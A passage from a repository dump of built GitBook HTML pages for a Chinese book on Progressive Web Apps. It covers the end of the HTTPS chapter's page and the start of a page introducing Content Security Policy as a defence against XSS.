fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter07/1-https.md\",\"mtime\":\"2019-06-19T10:37:42.392Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter07/2-CSP.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>7.2 内容安全策略 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"3-policy.html\" />\n    \n    \n    <link rel=\"prev\" href=\"1-https.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"1-https.html\">\n            \n                <a href=\"1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.8.2\" data-path=\"2-CSP.html\">\n            \n                <a href=\"2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"3-policy.html\">\n            \n                <a href=\"3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"4-vulnerability.html\">\n            \n                <a href=\"4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >7.2 内容安全策略</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><ul><li><span class=\"title-icon \"></span><a href=\"#&#x5185;&#x5BB9;&#x5B89;&#x5168;&#x7B56;&#x7565;\"><b></b>&#x5185;&#x5BB9;&#x5B89;&#x5168;&#x7B56;&#x7565;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x542F;&#x7528;-csp\"><b></b>&#x542F;&#x7528; CSP</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x53D1;&#x9001;&#x62A5;&#x544A;\"><b></b>&#x53D1;&#x9001;&#x62A5;&#x544A;</a></li></ul></ul></ul></div><a href=\"#\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h2 id=\"&#x5185;&#x5BB9;&#x5B89;&#x5168;&#x7B56;&#x7565;\"><a name=\"&#x5185;&#x5BB9;&#x5B89;&#x5168;&#x7B56;&#x7565;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5185;&#x5BB9;&#x5B89;&#x5168;&#x7B56;&#x7565;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5185;&#x5BB9;&#x5B89;&#x5168;&#x7B56;&#x7565;\" class=\"plugin-anchor\" href=\"#&#x5185;&#x5BB9;&#x5B89;&#x5168;&#x7B56;&#x7565;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5185;&#x5BB9;&#x5B89;&#x5168;&#x7B56;&#x7565;</h2>\n<p>CSP&#xFF08;Content Security Policy&#xFF09;&#x5373;&#x5185;&#x5BB9;&#x5B89;&#x5168;&#x7B56;&#x7565;&#xFF0C;&#x4E3B;&#x8981;&#x76EE;&#x6807;&#x662F;&#x51CF;&#x5C11;&#x3001;&#x5E76;&#x6709;&#x6548;&#x62A5;&#x544A; XSS &#x653B;&#x51FB;&#xFF0C;&#x5176;&#x5B9E;&#x8D28;&#x5C31;&#x662F;&#x8BA9;&#x5F00;&#x53D1;&#x8005;&#x5B9A;&#x5236;&#x4E00;&#x4EFD;&#x767D;&#x540D;&#x5355;&#xFF0C;&#x544A;&#x8BC9;&#x6D4F;&#x89C8;&#x5668;&#x5141;&#x8BB8;&#x52A0;&#x8F7D;&#x3001;&#x6267;&#x884C;&#x7684;&#x5916;&#x90E8;&#x8D44;&#x6E90;&#x3002;&#x5373;&#x4F7F;&#x653B;&#x51FB;&#x8005;&#x80FD;&#x591F;&#x53D1;&#x73B0;&#x53EF;&#x4ECE;&#x4E2D;&#x6CE8;&#x5165;&#x811A;&#x672C;&#x7684;&#x6F0F;&#x6D1E;&#xFF0C;&#x7531;&#x4E8E;&#x811A;&#x672C;&#x4E0D;&#x5728;&#x767D;&#x540D;&#x5355;&#x4E4B;&#x5217;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4E5F;&#x4E0D;&#x4F1A;&#x6267;&#x884C;&#x8BE5;&#x811A;&#x672C;&#xFF0C;&#x4ECE;&#x800C;&#x964D;&#x4F4E;&#x5BA2;&#x6237;&#x7AEF;&#x906D;&#x53D7; XSS &#x653B;&#x51FB;&#x98CE;&#x9669;&#x3002;</p>\n<p>&#x9ED8;&#x8BA4;&#x914D;&#x7F6E;&#x4E0B;&#xFF0C;CSP &#x751A;&#x81F3;&#x4E0D;&#x5141;&#x8BB8;&#x6267;&#x884C;&#x5185;&#x8054;&#x4EE3;&#x7801; (<code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span></code> &#x5757;&#x5185;&#x5BB9;&#xFF0C;&#x5185;&#x8054;&#x4E8B;&#x4EF6;&#xFF0C;&#x5185;&#x8054;&#x6837;&#x5F0F;)&#xFF0C;&#x4EE5;&#x53CA;&#x7981;&#x6B62;&#x6267;&#x884C;<code>eval()</code>, <code>setTimeout</code> &#x548C; <code>setInterval</code>&#x3002;&#x4E3A;&#x4EC0;&#x4E48;&#x8981;&#x8FD9;&#x4E48;&#x505A;&#x5462;&#xFF1F;&#x56E0;&#x4E3A;&#x5236;&#x5B9A;&#x6765;&#x6E90;&#x767D;&#x540D;&#x5355;&#x4F9D;&#x65E7;&#x65E0;&#x6CD5;&#x89E3;&#x51B3; XSS &#x653B;&#x51FB;&#x7684;&#x6700;&#x5927;&#x5A01;&#x80C1;&#xFF1A;&#x5185;&#x8054;&#x811A;&#x672C;&#x6CE8;&#x5165;&#x3002;&#x6D4F;&#x89C8;&#x5668;&#x65E0;&#x6CD5;&#x533A;&#x5206;&#x5408;&#x6CD5;&#x5185;&#x8054;&#x811A;&#x672C;&#x4E0E;&#x6076;&#x610F;&#x6CE8;&#x5165;&#x7684;&#x811A;&#x672C;&#xFF0C;&#x6240;&#x4EE5;&#x901A;&#x8FC7;&#x9ED8;&#x8BA4;&#x7981;&#x6B62;&#x5185;&#x8054;&#x811A;&#x672C;&#x6765;&#x6709;&#x6548;&#x89E3;&#x51B3;&#x8FD9;&#x4E2A;&#x95EE;&#x9898;&#x3002;&#x4E8B;&#x5B9E;&#x4E0A;&#x6211;&#x4EEC;&#x5E76;&#x4E0D;&#x63A8;&#x8350;&#x4F7F;&#x7528;&#x5185;&#x8054;&#x811A;&#x672C;&#x6DF7;&#x5408;&#x7684;&#x5F00;&#x53D1;&#x65B9;&#x5F0F;&#xFF0C;&#x4F7F;&#x7528;&#x5916;&#x90E8;&#x8D44;&#x6E90;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x66F4;&#x5BB9;&#x6613;&#x7F13;&#x5B58;&#xFF0C;&#x5BF9;&#x5F00;&#x53D1;&#x8005;&#x4E5F;&#x5BB9;&#x6613;&#x9605;&#x8BFB;&#x7406;&#x89E3;&#xFF0C;&#x5E76;&#x4E14;&#x6709;&#x52A9;&#x4E8E;&#x7F16;&#x8BD1;&#x548C;&#x538B;&#x7F29;&#x3002;&#x5F53;&#x7136;&#xFF0C;&#x5982;&#x679C;&#x4E0D;&#x5F97;&#x4E0D;&#x9700;&#x8981;&#x5185;&#x8054;&#x811A;&#x672C;&#x548C;&#x6837;&#x5F0F;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x8BBE;&#x7F6E; <code>unsafe-inline</code>&#xFF0C;&#x6765;&#x89E3;&#x9664;&#x8FD9;&#x4E00;&#x9650;&#x5236;&#x3002;</p>\n<p>CSP 